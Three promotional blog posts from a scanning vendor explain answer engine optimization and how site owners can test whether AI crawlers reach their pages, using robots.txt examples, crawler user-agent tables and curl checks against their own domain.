**The quick check: open ChatGPT with search on and ask "What does `yourdomain.com` do?" If it returns real details from your pages, ChatGPT can see you. If it says it can't access the site — or invents an answer — you're blocked.** Confirm at the crawler level: `curl -A "GPTBot/1.2" -I https://yourdomain.com` should return `200`.

Ask ChatGPT about your product category and watch who gets cited. If it's never you, the failure lives in exactly one of three places: **access** (the crawler can't reach you), **extraction** (it reaches you but sees nothing), or **grounding** (it sees you but won't cite you). This guide tests all three in under ten minutes — by hand, or in one automated [AEO scan](/products/seo-aeo).

**TL;DR**

- Test it directly: ask ChatGPT (search mode) and Perplexity "What does `yourdomain.com` do?" A vague, refused, or uncited answer means you aren't readable.
- Three OpenAI agents, three jobs: `GPTBot` (training), `OAI-SearchBot` (the ChatGPT Search index), `ChatGPT-User` (fetches a link on demand when a user asks).
- Blocking `GPTBot` does **not** remove you from ChatGPT Search — that index belongs to `OAI-SearchBot`.
- Four blockers cause nearly every case: robots.txt `Disallow: /`, WAF and bot-fight rules, client-side rendering, and geo-blocks or login walls.
- `Google-Extended` governs Gemini training and grounding only. It has no effect on Google Search inclusion or ranking.

## How to test your site in ChatGPT and Perplexity right now

No tooling required, and nothing to install. Run all three tests — they fail in different ways, and the difference is the diagnosis.

**1. ChatGPT, with search enabled.** Paste this exactly, swapping in your domain:

```text
What does yourdomain.com do? Cite the pages you used.
```

Then force a live fetch with a specific URL:

```text
Summarize the pricing page at https://yourdomain.com/pricing in three bullets.
```

Because that second prompt names a URL, ChatGPT fetches it on demand as `ChatGPT-User` instead of reading its search index. Useful signal — but a URL-paste that works does **not** prove `OAI-SearchBot` has you indexed. Always run the first prompt too.

**2. Perplexity.** Same prompts, unchanged. Perplexity searches on every query, so it's the cleanest read on whether `PerplexityBot` has actually indexed you:

```text
What does yourdomain.com do? List your sources.
```

**3. A branded-versus-generic pair.** Ask by name, then ask by category:

```text
What is [Your Product] and who is it for?
What are the best tools for [your category]?
```

**What a good result looks like**

- Specific facts that only your site states — your real pricing tiers, your feature names, your positioning line.
- Citations pointing at your domain, and ideally at more than just the homepage.
- The category question surfaces you next to competitors, not only the branded one.

**What a bad result looks like**

- *"I can't access that website"* or *"the site appears to be blocked"* — a hard access failure. Go to Step 1.
- A confident answer with **no citation to your domain** — it's paraphrasing your Crunchbase, LinkedIn, or a directory listing, not your site.
- Generic filler like *"a platform for businesses"* — the crawler reached you and got an empty shell. Go to Step 3.
- Details that are one redesign out of date — you're being answered from training data, not a live fetch.
- Present on the branded question, absent from the category one — access is fine, grounding isn't. Go to Step 4.

## AI crawler user agents: the full reference table

Every major answer engine announces itself with a distinct user agent, and the split matters: within a single company, one agent feeds model training and a different one feeds the search index you actually want to appear in.

| User agent | Operator | What it does | robots.txt token |
|---|---|---|---|
| GPTBot | OpenAI | Crawls content that may be used to train and improve OpenAI's foundation models | `GPTBot` |
| OAI-SearchBot | OpenAI | Builds the index that surfaces and links websites in ChatGPT's search features | `OAI-SearchBot` |
| ChatGPT-User | OpenAI | Fetches a page on demand when a user or Custom GPT asks ChatGPT to visit it — not an automatic crawler | `ChatGPT-User` |
| ClaudeBot | Anthropic | Collects web content that may contribute to training Anthropic's models | `ClaudeBot` |
| Claude-SearchBot | Anthropic | Crawls to improve the relevance and accuracy of Claude's search results | `Claude-SearchBot` |
| Claude-User | Anthropic | Visits sites when an individual user's question to Claude requires it | `Claude-User` |
| PerplexityBot | Perplexity | Indexes pages so they can be surfaced and linked in Perplexity results; not used for foundation-model training | `PerplexityBot` |
| Perplexity-User | Perplexity | Visits a page in response to a specific user question; generally ignores robots.txt because a human requested the fetch | `Perplexity-User` |
| Google-Extended | Google | A control token, not a crawler: governs whether content Google already crawls may be used for Gemini training and grounding | `Google-Extended` |
| Googlebot | Google | Google Search's crawler. AI Overviews and AI Mode are served from the Search index, so they follow your Search-level controls, not `Google-Extended` | `Googlebot` |
| Meta-ExternalAgent | Meta | Crawls for use cases such as training AI models and indexing content directly to improve products | `meta-externalagent` |
| Meta-WebIndexer | Meta | Crawls to improve Meta AI search quality so Meta AI can cite and link your content | `meta-webindexer` |
| Bingbot | Microsoft | Bing's search crawler. Microsoft Copilot draws on the Bing index; there is no separate Copilot crawler token | `bingbot` |
| MistralAI-Index | Mistral | Crawls to index content for Mistral's search; explicitly not used for generative AI training | `MistralAI-Index` |
| MistralAI-User | Mistral | Fetches a page in response to a user's request in Mistral's assistant, and links the source in its answer | `MistralAI-User` |
| MistralAI-Training | Mistral | Collects web content for datasets used to train Mistral's generative models | `MistralAI-Training` |

The two most useful facts in that table: `GPTBot` is training-only, and `Google-Extended` is not a crawler at all — it's an opt-out switch for Gemini, with zero bearing on whether Google indexes or ranks you.

### A copy-paste robots.txt that welcomes answer engines

Drop this at `https://yourdomain.com/robots.txt` and edit the private paths at the bottom. It allows every search-time and user-initiated agent while opting out of training-only crawlers:

```text
# Answer engines — allow these if you want to be cited
User-agent: OAI-SearchBot
Allow: /

User-agent: ChatGPT-User
Allow: /

User-agent: Claude-SearchBot
Allow: /

User-agent: Claude-User
Allow: /

User-agent: PerplexityBot
Allow: /

User-agent: Perplexity-User
Allow: /

User-agent: meta-webindexer
Allow: /

User-agent: MistralAI-Index
Allow: /

User-agent: MistralAI-User
Allow: /

# Training-only crawlers — delete these groups if you're happy to be trained on
User-agent: GPTBot
Disallow: /

User-agent: ClaudeBot
Disallow: /

User-agent: Google-Extended
Disallow: /

User-agent: meta-externalagent
Disallow: /

User-agent: MistralAI-Training
Disallow: /

# Everyone else
User-agent: *
Disallow: /admin/
Disallow: /api/
Allow: /

Sitemap: https://yourdomain.com/sitemap.xml
```

Two things to understand before you paste it:

- **Blocking training crawlers is a trade-off, not a free win.** It keeps your content out of future model weights — which also means the model has no baked-in knowledge of you to fall back on when live search doesn't fire.
- **robots.txt is per-agent, not per-company.** Blocking `GPTBot` says nothing about `OAI-SearchBot`, and blocking `ClaudeBot` says nothing about `Claude-SearchBot`. That separation is the entire point of the split tokens — use it deliberately.

## Step 1: Check robots.txt for AI crawler blocks

Open `https://yourdomain.com/robots.txt` and read it top to bottom. Three things to look for:

1. **A blanket `User-agent: *` with `Disallow: /`.** The single most common cause, and almost always accidental — a staging config that shipped, a framework default, or a "coming soon" file nobody deleted. It blocks every well-behaved crawler in the table above.
2. **Named AI agents under a `Disallow: /`.** Usually inherited from a "privacy-focused" robots.txt template copied in 2024, when the prevailing advice was to block anything with `Bot` in the name.
3. **No robots.txt at all.** A missing file means allow-all, so it isn't a blocker — but it's also the only sitemap-discovery channel crawlers have, so add one.

Also confirm the file returns `200` with a plain-text content type. A single-page app that serves its shell at every path will hand crawlers an HTML page where robots.txt should be — which parses as no rules and no `Sitemap:` line:

```bash
curl -sI https://yourdomain.com/robots.txt | head -3
```

**The fix:** delete the block, or scope it to paths you genuinely want private. Blocking AI crawlers is a legitimate choice — but it should be a decision, not an inherited accident.

## Step 2: Check your WAF and bot protection

robots.txt is only half of access. Cloudflare, Vercel's firewall, AWS WAF, Fastly, and most bot-protection products ship one-click "block AI bots" controls — and some are enabled by default.

Test every crawler in one pass:

```bash
for ua in "GPTBot/1.2" "OAI-SearchBot/1.0" "ClaudeBot/1.0" "Claude-SearchBot/1.0" "PerplexityBot/1.0"; do
  printf '%-22s %s\n' "$ua" "$(curl -s -o /dev/null -w '%{http_code}' -A "$ua" https://yourdomain.com)"
done
```

Anything that isn't `200` — or a redirect to your canonical URL — is a block. `403` is an outright deny, `429` is rate limiting, and a `200` that's only a few hundred bytes of "Checking your browser…" is a JavaScript challenge, which crawlers cannot solve.

**On Cloudflare specifically**, three separate settings can each cause this, and they live in different places:

- **Bot Fight Mode / Super Bot Fight Mode** (Security → Bots). Bot Fight Mode challenges non-verified automated traffic indiscriminately. Super Bot Fight Mode lets you set *Verified Bots* to **Allow** — do that, because OpenAI, Anthropic, Perplexity, Google, and Meta all publish IP ranges and are verifiable.
- **The AI-crawler blocking toggle** (Security → Bots, labelled "Block AI bots" or "AI Scrapers and Crawlers" depending on your dashboard). One switch, whole category. If it's on, you opted out of answer engines — check that you meant to.
- **Custom WAF rules and rate limits** (Security → WAF). Rules written against `cf.client.bot` or user-agent string matches often predate the search-time crawlers and catch them by accident.

**The fix:** allowlist by verified-bot category rather than by user-agent string. A UA string can be spoofed by anyone; verified-bot matching checks the request against the vendor's published IP ranges, so the real crawler gets in without opening a hole for impersonators. Then re-run the loop above and confirm `200` across the board.

## Step 3: Check what the crawler actually sees

Most AI crawlers do **not** execute JavaScript. They take whatever HTML your server returns and parse it. If your site is client-side rendered, that HTML is often an empty `<div id="root"></div>` and a script tag.

Test the raw response — no browser, no rendering:

```bash
curl -s https://yourdomain.com | grep -i "your headline text"
```

No match means no answer engine has ever read that sentence. Two more worth running:

```bash
# How much content is actually in the HTML? A few KB or less is a shell.
curl -s https://yourdomain.com | wc -c

# Do the title and description survive without JS?
curl -s https://yourdomain.com | grep -iE "<title>|<meta name=\"description\""
```

This failure hides behind good Google rankings, because Googlebot renders JavaScript and most AI crawlers don't. You can sit on page one of Google and be completely invisible to ChatGPT at the same time.

**The fix:** server-side render or statically generate every page you want cited. Next.js, Astro, SvelteKit, and Remix all do this by default — but client-only `useEffect` data fetching, auth-gated shells, and "loading…" skeletons still leak into marketing pages constantly. Pure-SPA builders are the worst case: [why AI engines can't find your Lovable site](/blog/why-ai-engines-cant-find-your-lovable-site) walks through the prerendering fix for that specific stack.

## The four blockers that stop AI crawlers

Almost every "ChatGPT can't see my site" case is one of these four. They produce different symptoms, so the symptom tells you which one you have.

| Blocker | Symptom | Where to look | Fix |
|---|---|---|---|
| robots.txt disallow-all | The engine says it can't access the site; server logs show zero crawler hits | `/robots.txt` | Scope the disallow to private paths, or name only the agents you mean to block |
| WAF / bot-fight rules | A crawler user agent gets `403`, `429`, or a challenge page while your browser loads fine | Cloudflare Security → Bots, Vercel Firewall, AWS WAF | Set verified bots to Allow; turn off blanket AI-bot toggles |
| Client-side rendering | The engine answers with vague filler, or knows only your page title | Raw HTML from `curl` — a few KB means a shell | Server-render or prerender every public page |
| Geo-blocks and login walls | Works for you, fails for the engine, and robots.txt and the WAF are both clean | Country rules, datacenter-ASN blocks, middleware redirects to `/login` | Serve the full public page to crawler regions with no session |

The last row is the one people miss, so it's worth spelling out.

**Geo-blocking.** Crawlers fetch from their vendor's own infrastructure, largely US datacenter ranges. If you geo-restrict to one country, block datacenter ASNs wholesale, or serve a consent interstitial to EU IPs before any content renders, the crawler gets the interstitial and nothing else. Test with `curl` from a VPS in another region, or check your firewall's country and ASN rules against the crawler IP ranges each vendor publishes.

**Login walls and soft paywalls.** Middleware that redirects unauthenticated requests to `/login` redirects crawlers too — and if the matcher is broad, it can swallow your marketing pages along with your app. Same story for content that exists in the HTML but sits under a "sign up to read" overlay: the crawler is served text your visitors can't see, which is exactly the mismatch engines discount.

**One more, less dramatic:** redirect chains. `http` → `https` → `www` → trailing slash is four hops, and a canonical tag pointing at a URL that 404s is worse. Crawlers give up sooner than browsers do.

All four are what an [AEO scanner](/aeo-scanner) automates — the same probes, run per engine, so you see which specific bot gets stopped where.

## Step 4: Check whether your content is worth citing

Access gets you read. Structure gets you quoted. Answer engines lift passages, so audit your key pages for:

- **A plain definition near the top** — "X is Y" in the first hundred words
- **Question-style headings** with direct answers underneath
- **Lists and tables** — the most liftable content formats
- **Schema.org markup** — Article, FAQPage, and Organization schema give models machine-readable grounding
- **Trust signals** — visible author, publish date, and an about page

The full playbook is in our [AEO explainer](/blog/what-is-aeo-answer-engine-optimization), and the structural overlap with classic search is covered in [SEO vs AEO](/blog/seo-vs-aeo-difference).

## Step 5: Automate it — because this breaks silently

Everything above can regress with one robots.txt edit, one WAF update, or one framework migration — and nothing will alert you. There is no Search Console for ChatGPT.

CheckVibe's [AEO scanner](/security-checks/aeo-scanner) runs all of these tests automatically:

- **Per-engine access matrix** — we probe your site as ChatGPT, Claude, Perplexity, Google AI, Copilot, Meta AI, and Mistral crawlers and show exactly who gets in and who gets blocked
- **46 AEO checks** across access, extractability, readability, structured data, and trust signals
- **68 SEO checks** in the same pass — because [classic indexability](/security-checks/seo-scanner) feeds both
- **A fix prompt on every finding** — paste into Claude, Cursor, or Windsurf, redeploy, rescan

[Run a free scan](/) and you'll know in about a minute whether the AI engines your customers use can actually see you.

## FAQ

### Does blocking GPTBot remove my site from ChatGPT?

No. `GPTBot` is OpenAI's training crawler — blocking it keeps your content out of future model training and nothing else. ChatGPT's search feature is served by a different agent, `OAI-SearchBot`, with on-demand fetches handled by `ChatGPT-User`. Leave those two allowed and you can still be surfaced and linked inside ChatGPT answers. The real cost of blocking `GPTBot` is subtler: the model carries no baked-in knowledge of you for the times search doesn't fire.

### Why does ChatGPT say it can't access my website?

Four causes, in rough order of likelihood: robots.txt disallows the fetching agent; your WAF or Cloudflare Bot Fight Mode returns a `403` or a JavaScript challenge to non-browser traffic; the page sits behind a login or is geo-restricted away from the crawler's datacenter IPs; or the URL lands in a redirect loop. Reproduce it in one line — `curl -A "OAI-SearchBot/1.0" -I https://yourdomain.com` — and whatever status code comes back is your answer.

### Does JavaScript rendering stop AI crawlers?

Usually, yes. Most AI crawlers fetch your HTML and parse it without running scripts, so anything injected client-side simply isn't there for them. Googlebot does render JavaScript, which is why a site can rank well on Google and stay invisible to ChatGPT and Perplexity. Check it with `curl -s https://yourdomain.com | grep "your headline"` — if your text isn't in the raw response, no answer engine has ever read it.

### How do I know if ChatGPT has crawled my site?

Check your server logs for the user agents `GPTBot`, `OAI-SearchBot`, or `ChatGPT-User` with OpenAI's published IP ranges. No hits in weeks usually means you're blocked at robots.txt or WAF level — or your site has too little linked, extractable content to attract crawls.

### Why does my site rank on Google but never get cited by AI?

Because Googlebot renders JavaScript and is whitelisted by every WAF, while AI crawlers mostly don't render JS and are frequently blocked by default bot rules. Your site can be page one on Google and a blank 403 to GPTBot simultaneously. Test each engine separately.

### Should I block AI crawlers instead?

If you sell content itself (journalism, research, courses), blocking training crawlers can be rational. For products and services, blocking answer engines mostly means your competitors get recommended instead of you. You can also split the difference: allow search-time crawlers like OAI-SearchBot while blocking training-time crawlers like GPTBot.

### What is llms.txt and do I need it?

llms.txt is an emerging convention — a markdown file at /llms.txt that gives language models a curated index of your site's most important content. It's cheap to add and several tools already read it. It complements rather than replaces robots.txt: robots.txt controls access, llms.txt aids understanding.

### How long until AI engines pick up my fixes?

Search-time crawlers (OAI-SearchBot, PerplexityBot, Claude-SearchBot) re-fetch popular pages within days, so an access fix can show up that fast. Training-data inclusion moves on model-release timescales — months. Re-run the ChatGPT and Perplexity prompts about a week after you deploy the fix; if the answer is still wrong, you have a second blocker, not a patience problem.


---

## SEO vs AEO: What Actually Changes When AI Answers the Query

*SEO gets you ranked. AEO gets you cited by ChatGPT, Claude, and Perplexity. Where they overlap, where they diverge, and how to win both in one workflow.*

Published: 2026-06-05 | Reading time: 6 min read
URL: https://checkvibe.dev/blog/seo-vs-aeo-difference


For twenty years, "being found online" meant one thing: rank on Google. In 2026 it means two things — rank on Google, **and** get cited when an AI answers the question directly. The first is SEO. The second is [AEO — Answer Engine Optimization](/blog/what-is-aeo-answer-engine-optimization).

The good news: they share about 70% of their foundations. The dangerous news: the other 30% fails silently, and classic SEO tools don't check it.

## The one-sentence difference

**SEO optimizes for a crawler that ranks links. AEO optimizes for a model that composes answers and cites sources.**

Everything else follows from that.

## Where SEO and AEO overlap

If your technical SEO is solid, you've already done most of the AEO groundwork:

- **Indexability** — robots.txt sanity, sitemaps, canonicals, no noindex traps. Engines of both kinds need to find and fetch your pages.
- **Structured data** — schema.org markup helps Google build rich results *and* helps language models ground facts and attribute them to you.
- **Content quality** — clear, accurate, well-organized content wins in both worlds.
- **HTTPS and performance basics** — table stakes everywhere.

This is why bolting AEO onto a site with broken SEO doesn't work. Fix the [SEO fundamentals](/security-checks/seo-scanner) first.

## Where they diverge

### 1. Different crawlers, different rules

Googlebot executes JavaScript and renders your page almost like a browser. Most AI crawlers — **GPTBot, ClaudeBot, PerplexityBot** — largely don't. A client-side rendered React app can rank fine on Google while being a blank page to answer engines.

And each engine is opted in or out *separately* via robots.txt and WAF rules. We routinely see sites that block GPTBot by accident (a copied robots.txt, a one-click WAF toggle) while wondering why ChatGPT never mentions them.

### 2. Different unit of content

Google ranks **pages**. Answer engines lift **passages** — a definition, a list of steps, a table row. Winning AEO means structuring pages so individual sections are self-contained and quotable:

- Question-style headings (`## What is X?`) followed immediately by the answer
- Lists and tables instead of walls of prose
- One idea per paragraph, stated plainly

### 3. Different trust model

Google's trust is largely link-based (who links to you). Answer engines lean harder on **on-page trust signals**: visible authorship, publish and update dates, an organization entity with consistent `sameAs` profiles, and citations to primary sources. Models are tuned to prefer content someone is accountable for.

### 4. Different failure visibility

SEO failures show up in dashboards — rankings drop, traffic dips, Search Console complains. **AEO failures show up nowhere.** There is no "ChatGPT Search Console." If PerplexityBot gets a 403 from your bot protection, the only symptom is silence.

That asymmetry is the strongest argument for scanning: you need something that *probes as each engine* and tells you what they see. That's exactly what our [AEO scanner](/security-checks/aeo-scanner) does — a per-engine access matrix across ChatGPT, Claude, Perplexity, Google AI, Copilot, Meta AI, and Mistral.

## Side-by-side comparison

| Dimension | SEO | AEO |
|---|---|---|
| Primary outcome | Ranked link on a results page | Citation inside an AI answer |
| Main crawlers | Googlebot, Bingbot | GPTBot, ClaudeBot, PerplexityBot, Google-Extended |
| JavaScript rendering | Yes (Googlebot renders) | Mostly no — content must be in raw HTML |
| Content unit | Page | Passage / extractable block |
| Trust currency | Backlinks, domain authority | Authorship, dates, schema, entity consistency |
| Measurement | Search Console, rank trackers | Per-engine probing (no native dashboards) |
| Failure mode | Visible ranking drops | Silent exclusion from answers |

## One workflow that wins both

You don't need two teams or two toolchains. The overlap means one disciplined loop covers both:

1. **Scan** — run both audits in one pass. CheckVibe's [SEO & AEO scan](/products/seo-aeo) runs 68 SEO checks and 45 AEO checks together, so you see the whole picture: indexability, metadata, structured data, Core Web Vitals, AI crawler access, extractability, and trust signals.
2. **Fix access first** — a blocked crawler makes every other optimization irrelevant. Unblock the engines you want, server-render what matters.
3. **Restructure for extraction** — add question headings, FAQs, tables. This helps featured snippets (SEO) and citations (AEO) simultaneously.
4. **Ground your entity** — Organization schema, `sameAs` links, consistent naming. Helps Google's Knowledge Graph and LLM grounding alike.
5. **Rescan after deploy** — both SEO and AEO regress silently when templates change. Continuous scanning catches it.

Every failed check in a CheckVibe report ships with a copy-paste AI fix prompt, so the fix loop is the same one you already use for security findings. [Run a free scan](/) — security, SEO, and AEO in one report.

## FAQ

### Is AEO just SEO with a new name?

No. They share foundations — indexability, structured data, content quality — but AEO adds requirements classic SEO never checks: per-engine AI crawler access, JavaScript-free extractability, passage-level structure, and on-page trust signals. A site can have perfect SEO and zero AI visibility.

### Should I do SEO or AEO first?

SEO first, but only barely. Technical SEO failures (noindex traps, broken canonicals, blocked crawlers) sink both. Once the foundation is clean, AEO work is mostly additive: unblock AI crawlers, restructure content for extraction, and add trust signals.

### Do backlinks matter for AEO?

Less than for SEO, but they're not irrelevant — answer engines were trained on and retrieve from a web where link-authority correlates with quality, and several engines use search indexes influenced by links. On-page signals (schema, authorship, extractability) matter relatively more for AEO.

### Can I rank well on Google but be invisible to ChatGPT?

Yes, and it's common. Googlebot renders JavaScript and your WAF whitelists it; GPTBot doesn't render JS and often gets caught by bot protection. The result: page one on Google, blank page to OpenAI. The only way to know is to probe as each engine — which is what an AEO scan does.

### How often should I check my AEO?

After every significant deploy, and monthly at minimum. robots.txt edits, WAF rule changes, framework migrations, and template refactors can all silently break AI crawler access or extractability.


---

## What Is AEO? Answer Engine Optimization, Explained for 2026

*AEO (Answer Engine Optimization) is how you get cited by ChatGPT, Claude, Perplexity, and Google AI. What it is, how it differs from SEO, how to optimize.*

Published: 2026-06-05 | Reading time: 13 min read
URL: https://checkvibe.dev/blog/what-is-aeo-answer-engine-optimization


**Answer engine optimization (AEO)** is the practice of structuring a website so AI answer engines — ChatGPT, Claude, Perplexity, Google AI Overviews, and Copilot — can crawl it, extract its facts, and cite it inside the answers they generate for users.

That definition matters more every quarter, because a growing share of your future customers will never see a search results page. They'll ask an AI a question and act on the answer. If the model can't read your site, it can't recommend you. Your competitor gets the citation, and you never even know the conversation happened.

## What does AEO stand for?

AEO stands for **Answer Engine Optimization**. That is the full form, and every part of it is load-bearing: an *answer engine* is any system that responds to a question with a composed answer rather than a list of links, and *optimization* is the work you do so your pages survive that composition process intact.

The answer engines that matter in 2026 are ChatGPT Search, Claude, Perplexity, Google AI Overviews and AI Mode, Microsoft Copilot, Meta AI, and Mistral's Le Chat. Each one crawls the open web, picks a handful of sources, and writes an answer around them. AEO is the discipline of being one of those sources.

**AEO meaning in an AI context:** it is not "SEO for chatbots" in the sense of keyword stuffing a prompt. Answer engines don't rank your page — they read it, decide whether the passage they need is present and trustworthy, and either quote you or move on. So the unit of optimization shifts from *the page* to *the extractable passage*.

You'll meet a few synonyms in the wild: **GEO** (Generative Engine Optimization), **LLMO** (Large Language Model Optimization), and the catch-all "AI SEO." They describe the same shift — optimizing for engines that *compose answers* instead of *ranking links*. Pick whichever term your team already uses; the work is the same.

One disambiguation, since search sends people here from both worlds: AEO is also the NYSE ticker for American Eagle Outfitters. This page is about the marketing discipline.

## Why AEO matters now

AEO matters now because three things changed between 2024 and 2026:

1. **Answer engines went mainstream.** ChatGPT added live web search with citations. Perplexity built its entire product around cited answers. Google rolled AI Overviews out across most queries. Claude, Copilot, Meta AI, and Mistral all browse and cite the web.
2. **Zero-click became the default.** When an AI gives a complete answer with two or three cited sources, most users stop there. Either you're one of those sources, or you're invisible.
3. **AI referral traffic arrives pre-sold.** A visitor who clicks a citation has already read a recommendation of you, written by a system they trust. That's a warmer arrival than a cold results-page click — which is why the segment is worth measuring separately rather than letting it disappear into "Direct." (There's a section on exactly how, further down.)

The kicker: **AEO failures are silent.** Nothing looks broken. Your site renders beautifully, your SEO dashboard is green — and GPTBot has been blocked by your WAF for six months.

## How answer engines choose their sources

Answer engines choose their sources in four passes — access, extraction, grounding, and selection — and you can fail any one of them without a single red flag appearing in a classic SEO tool. Understanding the pipeline tells you exactly what to optimize.

### 1. Access — can the crawler reach you at all?

Every answer engine runs its own crawler: **GPTBot** and **OAI-SearchBot** (OpenAI), **ClaudeBot** and **Claude-SearchBot** (Anthropic), **PerplexityBot**, **Google-Extended** (Gemini/AI Overviews), and others. Each one obeys robots.txt — and each can be silently blocked by:

- robots.txt rules you (or a template) added years ago
- WAF and bot-protection defaults (Cloudflare's "block AI bots" toggle is one click)
- Aggressive rate limiting that 403s datacenter IPs

One blocked bot = one engine where you don't exist. If you only ever check one thing, check this one — there's a full walkthrough in [how to check if ChatGPT can see your website](/blog/check-if-chatgpt-can-see-your-website).

### 2. Extraction — can the model read your content?

Most AI crawlers do **not** execute JavaScript the way Googlebot does. If your content only exists after client-side rendering, many engines see an empty shell. This is the single biggest AEO failure for vibe-coded apps and SPAs — we broke down the fixes in [how to rank a vibe-coded SPA in AI search](/blog/how-to-rank-vibe-coded-spa-in-ai-search).

Beyond rendering, models extract best from:

- Clear heading hierarchy (one `h1`, logical `h2`/`h3` structure)
- Lists, tables, and short self-contained paragraphs
- Definitions stated plainly ("X is Y") near the top of the page

### 3. Grounding — can the model trust and attribute you?

Engines prefer sources they can ground: **schema.org structured data** (Article, FAQPage, Organization), consistent entity signals (same name, logo, and profile links everywhere), visible authorship, publish dates, and citations to primary sources.

### 4. Selection — what actually gets quoted?

Access, extraction, and grounding get you into the candidate pool. Selection decides who gets quoted, and it turns out to be responsive to how you write. The Princeton-led research paper [GEO: Generative Engine Optimization](https://arxiv.org/abs/2311.09735) tested content-level edits against a benchmark of generative-engine queries and found that the right optimizations raised a source's visibility in generated responses by up to 40% in their evaluation. The edits that moved the needle were mundane: adding quotations, citing authoritative sources, and stating claims in clear, direct language. Keyword stuffing did not help.

Treat that as a direction, not a guarantee — it's one benchmark on one snapshot of engines. But it points the same way as everything else here: write the answer plainly, back it with sources, and make it liftable.

## AEO vs SEO: what's different

The difference is what counts as winning: SEO wins you a ranked link on a results page, AEO wins you a cited sentence inside a generated answer. The two overlap heavily — good technical SEO is the foundation of AEO — but they diverge in the details that matter.

| | SEO | AEO |
|---|---|---|
| Goal | Rank a link on a results page | Be cited inside an AI answer |
| Crawler | Googlebot (renders JS) | GPTBot, ClaudeBot, PerplexityBot (mostly no JS) |
| Unit of content | The page | The extractable passage |
| Key signals | Links, relevance, Core Web Vitals | Access, extractability, schema, trust signals |
| Measurement | Impressions and rank in Search Console | AI referrals, prompt tests, share of voice |
| Failure mode | Rank drops (visible in dashboards) | Silent exclusion (no dashboard shows it) |

The practical consequence: an SEO audit that passes tells you nothing about your AEO. Different crawlers, different rendering assumptions, different failure modes. We wrote a deeper comparison in [SEO vs AEO: what actually changes](/blog/seo-vs-aeo-difference).

## AEO tactics that work in 2026

The AEO tactics that work in 2026 are unglamorous: be crawlable by AI bots, answer the question in the first sentence, mark it up, cite your sources, and exist as an entity outside your own domain. In rough priority order:

1. **Unblock the AI crawlers you want.** Audit robots.txt and your WAF rules for GPTBot, OAI-SearchBot, ClaudeBot, Claude-SearchBot, PerplexityBot, and Google-Extended. Blocking is a legitimate choice — but make it a choice, not an accident. Nothing below this line matters if the crawler never arrives.
2. **Serve content without JavaScript.** Server-render or statically generate anything you want cited. Check by fetching your page with `curl` — if the text isn't in the HTML, most answer engines can't see it.
3. **Write answer-first.** Lead every section with the answer to its own heading, in one sentence, before the context. Use question-style headings. Keep one idea per paragraph. A model lifting a passage needs it to make sense with nothing above or below it.
4. **Add structured data, including FAQPage.** Article, FAQPage, Organization, and Product schema give models machine-readable grounding. FAQ schema is especially efficient: it hands the engine a pre-formed question-and-answer pair. Link your entities (`sameAs`, `@id`) so engines resolve you as one thing rather than three.
5. **Make your claims verifiable.** Cite primary sources with real links, name the study or vendor doc, and date your numbers. This is the lever the GEO research measured most directly — and it's the one most marketing pages skip.
6. **Build entity presence off your own domain.** Engines corroborate you against the wider web: Crunchbase, LinkedIn, GitHub, G2, industry directories, and Wikidata-class knowledge bases. Consistent name, description, and URL across those sources is what turns a domain into a recognized entity. One warning from our own experience: don't push a thin promotional entry into Wikidata — notability patrols delete it, and a deleted entry is worse than none.
7. **Add an llms.txt.** An emerging convention — a markdown index at `/llms.txt` that tells language models what your site is and where the canonical docs live:

```markdown
# CheckVibe

> Security, SEO, and AEO scanner for vibe-coded apps.

## Docs
- [What is AEO](https://checkvibe.dev/blog/what-is-aeo-answer-engine-optimization): definition and tactics
- [AEO scanner](https://checkvibe.dev/aeo-scanner): per-engine visibility checks
```

## How to measure AEO

You measure AEO three ways: segment AI-referral traffic in analytics, test a fixed set of prompts by hand, and track your share of voice in the answers those prompts return. None of it shows up in Search Console, which is exactly why AEO failures go unnoticed — and a fourth check, your crawler logs, warns you earlier than any of the three.

**1. Segment AI referrals.** Create a channel group in your analytics for AI referrers instead of letting them land in "Direct" or "Other." The hosts to match are `chatgpt.com`, `perplexity.ai`, `claude.ai`, `copilot.microsoft.com`, and `gemini.google.com`. Watch the trend and the landing pages, not the absolute number — the useful signal is *which* pages earn citations, because that tells you what format the engines are lifting.

**2. Test prompts by hand.** Write 15–25 prompts a real buyer would type — "best X for Y," "how do I do Z," "alternatives to `<competitor>`" — and run them monthly across ChatGPT, Perplexity, Claude, and Google AI Mode. Log three things per prompt: were you mentioned, were you linked, and who else was. Keep the prompt list frozen so month-over-month comparisons mean something. This is manual and it stays manual; there's no substitute for reading the answers.

**3. Track share of voice.** From that same log, compute how often you appear versus each competitor across the prompt set. Share of voice is the closest AEO equivalent to average rank: a single number that moves when your visibility genuinely changes.

**4. Confirm the bots actually fetch you.** Referrals and citations are lagging indicators; crawler hits are leading ones. Grep your access logs for the user agents:

```bash
grep -Ei 'GPTBot|OAI-SearchBot|ClaudeBot|Claude-SearchBot|PerplexityBot|Google-Extended' \
  /var/log/nginx/access.log | awk '{print $1, $7, $9}' | sort | uniq -c | sort -rn
```

A run of 403s or a bot that never appears at all is your answer before any prompt test tells you. If you'd rather not parse logs, our [AEO scanner](/aeo-scanner) probes your site as each major crawler and reports the per-engine result directly.

## How CheckVibe measures AEO

CheckVibe's [SEO & AEO scan](/products/seo-aeo) runs **45 AEO checks** alongside **68 SEO checks** in one pass:

- **Per-engine access matrix** — we probe your site as each major AI crawler and show exactly which engines can see you: ChatGPT, Claude, Perplexity, Google AI, Copilot, Meta AI, Mistral.
- **Extractability scoring** — does your content survive without JavaScript? Are headings, lists, and tables liftable?
- **Structured data depth** — not just "schema exists" but whether it's linked, valid, and grounding-grade.
- **Trust signals** — authorship, dates, entity consistency.

Every failed check ships with a copy-paste AI fix prompt, the same loop as our security findings. [Run a free scan](/) and see your AEO score in about a minute.

## FAQ

### What does AEO stand for?

AEO stands for Answer Engine Optimization. It's the practice of optimizing a website so AI answer engines — ChatGPT, Claude, Perplexity, Google AI Overviews, Copilot — can crawl it, understand it, and cite it in the answers they compose. The "answer engine" part is the key distinction: these systems write a response rather than returning a ranked list of links, so the goal is being quoted, not being ranked.

### Is AEO replacing SEO?

No. AEO extends SEO rather than replacing it. Classic SEO remains the foundation — indexability, structured data, and content quality feed both disciplines, and Google's ranked results still send real traffic. But AEO adds requirements that classic SEO audits never check: AI crawler access, JavaScript-free extractability, entity consistency, and trust signals. Treat AEO as a second scoreboard for the same content, not a migration off the first one.

### How do I get my website cited by ChatGPT?

Work the pipeline in order. First, confirm GPTBot and OAI-SearchBot aren't blocked in robots.txt or by your WAF — that alone disqualifies most sites. Second, make sure your content exists in the raw HTML without JavaScript. Third, write answer-first: state the claim in the opening sentence under a question-shaped heading, cite a primary source, and add FAQPage schema. Then test it by prompting ChatGPT and reading who it cites.

